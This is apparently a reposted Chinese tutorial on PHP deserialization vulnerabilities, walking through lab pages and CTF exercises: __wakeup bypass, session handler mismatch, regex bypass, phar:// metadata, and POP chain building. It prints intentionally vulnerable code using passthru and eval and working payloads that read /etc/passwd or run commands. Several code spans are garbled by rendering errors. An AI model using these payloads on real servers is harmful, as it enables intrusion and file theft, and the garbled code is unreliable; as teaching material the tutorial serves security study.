浅谈PHP反序列化漏洞原理

序列化用途:方便于对象在网络中的传输和存储

1|10x01 php反序列化漏洞
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的序列化格式:

二进制格式
字节数组
json字符串
xml字符串
序列化就是将对象转换为流,利于储存和传输的格式
反序列化与序列化相反,将流转换为对象
例如:json序列化、XML序列化、二进制序列化、SOAP序列化
而php的序列化和反序列化基本都围绕着 serialize(),unserialize()这两个函数

php对象中常见的魔术方法
__construct() // 当一个对象创建时被调用,
__destruct() // 当一个对象销毁时被调用,
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
PHP序列化数据
测试脚本 test.php

<?php class User { public $name = ''; public $age = 0; public $addr = ''; public function __toString() { return '用户名: '.$this->name.'
年龄: '.$this->age.'
地址: '.$this->addr; } } $user = new User(); $user->name = 'default'; $user->age = '0'; $user->addr = 'default'; echo serialize($user); ?>

这是一个对象通过serialize()方法序列化后的格式

a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞

php对象中属性的访问级别
测试 test.php

class User
{
private $name = ‘default’;
public $age = 18;
protected KaTeX parse error: Expected group after '_' at position 39: …ublic function _̲_toString() …this->name.’
年龄: '. t h i s − > a g e . ′ < b r / > 地 址 : ′ . this->age.'<br/>地址: '. this>age.<br/>:.this->addr;
}
}
u s e r = n e w U s e r ( ) ; e c h o s e r i a l i z e ( user = new User(); echo serialize( user=newUser();echoserialize(user);

private 的属性序列化后变成 <0x00>对象<0x00>属性名

public 没有任何变化

protected 的属性序列化后变成 <0x00>*<0x00>属性名

特殊十六进制<0x00>表示一个坏字节,就是空字节

下面测试正确的传值姿势进行反序列化

代码后添加几句

o b j = u n s e r i a l i z e ( obj = unserialize( obj=unserialize(_POST[‘usr_serialized’]);
echo $obj;
先是测试普通的访问形式来传值

usr_serialized=O:4:“User”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:22;s:4:“addr”;s:8:“xxxxxxxx”;}

public被正常修改,private、protected无法被对象外修改

如何才能从外部修改被保护的属性值呢?

将 <0x00>的位置用 %00代替

usr_serialized=O:4:“User”:3:{s:10:"%00User%00name";s:5:“admin”;s:3:“age”;i:22;s:7:"%00*%00addr";s:8:“xxxxxxxx”;}

可以发现即使是被保护的属性也会被外部修改

php反序列化演示
假设页面有个接口参数可控

<?php class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this->filename); } } class User { public $name = ''; public $age = 0; public $addr = ''; public function __toString() { return '用户名: '.$this->name.'
年龄: '.$this->age.'
地址: '.$this->addr; } } # 参数可控 $obj = unserialize($_POST['usr_serialized']); echo $obj; ?>

测试页面是通过post来传递参数,实战环境不一定在post中,参数可能会被加密编码过

先传递一个 O:4:“User”:3:{s:4:“name”;s:4:“user”;s:3:“age”;s:2:“23”;s:4:“addr”;s:8:“xxxxxxxx”;}

通过修改参数,判断参数是否可变

参数可变

反序列化漏洞利用
漏洞形成条件
参数可变
有可利用函数
假设存在可利用函数

测试代码 test.php

<?php class FileClass { public $filename = 'error.log'; public function __toString() { # 读取文件函数 return file_get_contents($this->filename); } } class User { public $name = ''; public $age = 0; public $addr = ''; public function __toString() { return '用户名: '.$this->name.'
年龄: '.$this->age.'
地址: '.$this->addr; } } # 参数可控 $obj = unserialize($_POST['usr_serialized']); echo $obj; ?>

可知存在一个file_get_contents()文件读取函数。

构造恶意参数 O:9:“FileClass”:1:{s:8:“filename”;s:8:“test.php”;}

将之前User的接口改为读取文件的类构造参数,FileClass只有一个filename属性,只需要传递要读取的文件名就行

用同样的参数名传递恶意参数,导致当前目录的test.php被读取,也可以尝试读取其他文件

读取test.txt

尝试读取/etc/passwd

构造参数 O:9:“FileClass”:1:{s:8:“filename”;s:11:"/etc/passwd";}

1|20x02 绕过 __wakeup()
__wakeup() 类似一个预处理的作用,在执行unserialize()时会检测是否存在wakeup,存在则先执行 __wakeup()

绕过方式

这种方式绕过是由PHP的版本漏洞造成的

绕过__wakeup()只需要将参数的个数改成超过现有的参数个数即可

影响版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38测试对比

测试页面 test.php

测试版本 php 5.6.40

测试系统 Linux

IP :192.168.80.11

<?php // ...省略其他代码 class CMDClass{ public $cmd = ""; function __wakeup(){ if(strpos($this->cmd,'ls')!==false){ $this->cmd = " "; } } function __destruct(){ passthru($this->cmd,$result); } function __toString(){ return ""; } } $obj = unserialize($_POST['usr_serialized']); echo $obj; ?>

这里 __wakeup() 中,判断如果输入的cmd参数中存在 “ls” 的字符串,则将cmd置为空格。

构造参数 O:8:“CMDClass”:1:{s:3:“cmd”;s:2:“ls”;}

将参数的个数改成超过现有的参数个数进行绕过

更新后的版本,无法绕过会产生报错

换一台虚拟机进行测试

测试页面 test.php

测试版本 php 5.5.38

测试系统 Windows 7

IP :192.168.80.128

测试页面 php_unser.php

<?php // ...其余都一样 function __wakeup(){ # 因为win7没有ls命令,所以这里来限制ipconfig命令 if(strpos($this->cmd,'ip')!==false){ $this->cmd = "echo 非法输入"; } } ?>

构造参数 O:8:“CMDClass”:1:{s:3:“cmd”;s:8:“ipconfig”;}

发现被__wakeup()过滤了

修改参数个数进行绕过 O:8:“CMDClass”:3:{s:3:“cmd”;s:8:“ipconfig”;}

经测试可以绕过

1|30x03 Session反序列化
php中的session内容不是存放在内存中,是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。

存储方式
php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的值
设置格式

ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

默认下session存储为 php 存储方式

<?php session_start(); $_SESSION['name'] = 'admin'; echo "session_id: ".session_id()."
"; passthru("cat /tmp/sess_".session_id()); ?>

// session内容 name|s:5:“admin”;

php_serialize引擎

ini_set(“session.serialize_handler”,“php_serialize”);
session_start();
// …
// session内容 a:1:{s:4:“name”;s:5:“admin”;}

php_binary引擎

ini_set(“session.serialize_handler”,“php_binary”);
session_start();
// …
// session内容
ASCII的值为4的字符无法打印显示

漏洞原理
当session使用不当,如php反序列化储存时使用引擎和序列化使用的引擎不一样,就会形成漏洞。

漏洞复现
本次测试,以 php引擎和 php_serialize引擎混合引发的漏洞

测试页面1 target1.php --> php_serialize引擎

<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["name"]=$_GET["name"]; if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") { echo "欢迎来到第一个页面,Session已保存!"; } ?>

测试页面2 target2.php --> php引擎

<?php ini_set('session.serialize_handler','php'); session_start(); // 开启session之后 无需调用会自动加载 class Admin { var $name; function __construct() { $this->name = "default"; } function __destruct(){ // 执行命令 passthru($this->name); } } ?>

通过向 target1.php传递一个name为 admin|O:5:“Admin”:1:{s:4:“name”;s:15:“cat /etc/passwd”;}

然后在访问 target2.php,会发现之前传递参数中的 cat /etc/passwd命令被执行

这是发生了什么?!!

漏洞触发流程

首先通过访问 target1.php并且传递了参数 name=admin|O:5:“Admin”:1:{s:4:“name”;s:15:“cat%20/etc/passwd”;}

而target1.php页面是php_serialize引擎来存储session,所以session保存后的内容变成了 a:1:{s:4:“name”;s:56:“admin|O:5:“Admin”:1:{s:4:“name”;s:15:“cat /etc/passwd”;}”;}

然后当访问target2.php时,会用第二个页面的 php引擎来解析session,通过 |来分割字符串取出对应的值;

Session值

a:1:{s:4:“name”;s:56:“admin|O:5:“Admin”:1:{s:4:“name”;s:15:“cat /etc/passwd”;}”;}

分解后,a:1:{s:4:“name”;s:48:“admin被当作session的key值
O:5:“Admin”:1:{s:4:“name”;s:15:“cat /etc/passwd”;}”;}被解析成value

Session本身就是序列化和反序列化的存储方式

通过session将O:5:“Admin”:1:{s:4:“name”;s:15:“cat /etc/passwd”;}";}反序列化

就会生成 Admin对象和一个属性值为 cat /etc/passwd的name

再通过对象的销毁魔术方法__destruct()就会形成恶意的命令执行

CTF题实战
为了符合题意需要将 php.ini中的 serialize_handler 修改一下

题目测试页面 test3.php

<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('test3.php')); } ?>

访问 http://192.168.80.11/test3.php?phpinfo=phpinfo()

符合上面将的漏洞环境

通过源码可以看出并没有可以传入参数的地方

不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的

Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 S E S S I O N 中 获 得 。 当 P H P 检 测 到 这 种 P O S T 请 求 时 , 它 会 在 _SESSION中获得。当PHP检测到这种POST请求时,它会在 SESSIONPHPPOST_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
构造一个post表单

上传一个文件,抓包分析

修改 filename 的值为 |O:5:“OowoO”:1:{s:4:“mdzz”;s:27:“print_r(dirname(FILE));”;}

session值 先是以php_serialize引擎序列化后储存

后输出页面被 php引擎解析触发反序列化漏洞

构造payload |O:5:“OowoO”:1:{s:4:“mdzz”;s:26:“print_r(scandir(”/tmp/"));";}

可以遍历 /tmp/ 内的所有文件

1|40x04 反序列化绕过正则
测试页面源码 test4.php

<?php @error_reporting(1); include 'flag.php'; echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?>

首先访问 http://192.168.80.11/test4.php

通过源码可以看出存在一个反序列化漏洞

根据之前的经验直接构造一个 序列化payload O:4:“baby”:1:{s:4:“file”;s:9:“index.php”;}

但是由于存在正则表达式 preg_match(’/[oc]:\d+:/i’, d a t a , data, data,matches); 对序列化字符串做了限制导致触发防御

接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:“baby”:1:{s:4:“file”;s:9:“index.php”;}

并没有什么变化的原因是,在url中 + 号会被解释为空格,所以需要将 + url编码后加入

尝试访问 flag.php

绕过正则表达式

实战中需根据正则表达式规则来进行绕过
1|50x05 phar反序列化
phar伪协议触发php反序列化
phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

案例演示
假设已知页面 test5.php

<?php if(isset($_GET['filename'])){ $filename=$_GET['filename']; class MyClass{ var $output='echo "nice"'; function __destruct(){ eval($this->output); } } var_dump(file_exists($filename)); file_exists($filename); } else{ highlight_file(__FILE__); } 接下来根据源码中的类来构造一个phar文件 创建一个 phar.php <?php class MyClass{ var $output='phpinfo();'; function __destruct(){ eval($this->output); } } @unlink("./myclass.phar"); $a=new MyClass; $a->output='phpinfo();'; $phar = new Phar("./myclass.phar"); // 后缀必须为 phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

p h a r − > s e t M e t a d a t a ( phar->setMetadata( phar>setMetadata(a); // 将自定义的meta-data存入manifest
$phar->addFromString(“test.txt”,“test”); // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>
通过访问或者 php 编译去生成 phar文件

注意:必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件

通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应

可以通过上传文件等方式将phar文件放到服务器上

先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问

找到phar文件的路径

利用 phar:// 协议来访问

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的

1|60x06 POP链构造
测试页面 pop.php

<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT"); } } $a = $_GET['string']; unserialize($a); ?>

解题思路:

首先发现找到flag,发现flag需要通过GetFlag类中get_flag()函数输出,然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法,而str1需要赋值为GetFlag。
发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把 m o d 1 赋 值 为 s t r i n g 1 的 对 象 与 mod1赋值为string1的对象与 mod1string1mod2拼接。
在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为KaTeX parse error: Expected group after '_' at position 25: …调用test2方法时自动调用 _̲_call方法; 在Call中…this->mod1->test2();,需要把KaTeX parse error: Expected group after '_' at position 18: …d1赋值为funct的对象,让_̲_call自动调用。 查找te…this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待__destruct()自动调用。
通过构造pop链输出payload

<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1 = new Call();//把$mod1赋值为Call类对象 } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1 = new funct();//把 $mod1赋值为funct类对象 } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func();//把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1();//把 $mod1赋值为string1类对象 } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public function __construct() { $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象 } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $b = new start_gg;//构造start_gg类对象$b echo serialize($b); 执行后输出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 将payload带入到参数发送请求,输出flag 东莞网站建设www.zg886.cn
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值